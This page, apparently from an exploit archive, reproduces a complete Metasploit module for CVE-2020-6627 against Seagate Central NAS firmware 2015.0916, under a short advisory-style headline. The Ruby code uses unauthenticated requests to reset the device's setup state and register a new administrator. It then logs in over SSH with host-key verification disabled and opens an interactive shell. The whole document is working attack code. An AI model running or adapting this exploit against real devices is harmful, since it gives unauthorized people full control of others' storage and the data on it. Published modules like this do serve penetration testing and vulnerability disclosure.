Headline
Seagate Central Storage 2015.0916 User Creation / Command Execution
This Metasploit module exploits the broken access control vulnerability in Seagate Central External NAS Storage device. Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state and register a new admin user which is capable of SSH access.
### Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)# Date: Dec 9 2019# Exploit Author: Ege Balci# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/# Version: 2015.0916# CVE : 2020-6627# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'net/http'require 'net/ssh'require 'net/ssh/command_stream'class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Seagate Central External NAS Arbitrary User Creation", 'Description' => %q{ This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device. Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state and register a new admin user which is capable of SSH access. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege Balcı <[email protected]>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'], ['CVE', '2020-6627'] ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5, }, 'Platform' => ['unix'], 'Arch' => [ARCH_CMD], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ ['Auto', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ], ], 'Privileged' => true, 'DisclosureDate' => "Dec 9 2019", 'DefaultTarget' => 0 )) register_options( [ OptString.new('USER', [ true, 'Seagate Central SSH user', '']), OptString.new('PASS', [ true, 'Seagate Central SSH user password', '']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' } },60) if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916') Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit # First get current state first_state=get_state() if first_state print_status("Current device state: #{first_state['state']}") else return end if first_state['state'] != 'start' # Set new start state first_state['state'] = 'start' res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "info=#{first_state.to_json}" },60) changed_state=get_state() if changed_state && changed_state['state'] == 'start' print_good("State successfully changed !") else print_error("Could not change device state") return end end name = Rex::Text.rand_name_male user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}" pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8) print_status('Creating new admin user...') print_status("User: #{user}") print_status("Pass: #{pass}") # Add new admin user res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"), 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1} },60) conn = do_login(user,pass) if conn print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})") handler(conn.lsock) end end def do_login(user, pass) factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], :port => 22, :use_agent => false, :config => false, :password => pass, :proxy => factory, :non_interactive => true, :verify_host_key => :never } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError fail_with Failure::Unreachable, 'Connection failed' rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh conn = Net::SSH::CommandStream.new(ssh) ssh = nil return conn end return nil end def get_state res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' } },60) if res && (res.code == 200 ||res.code == 100) return res.get_json_document end res = nil endend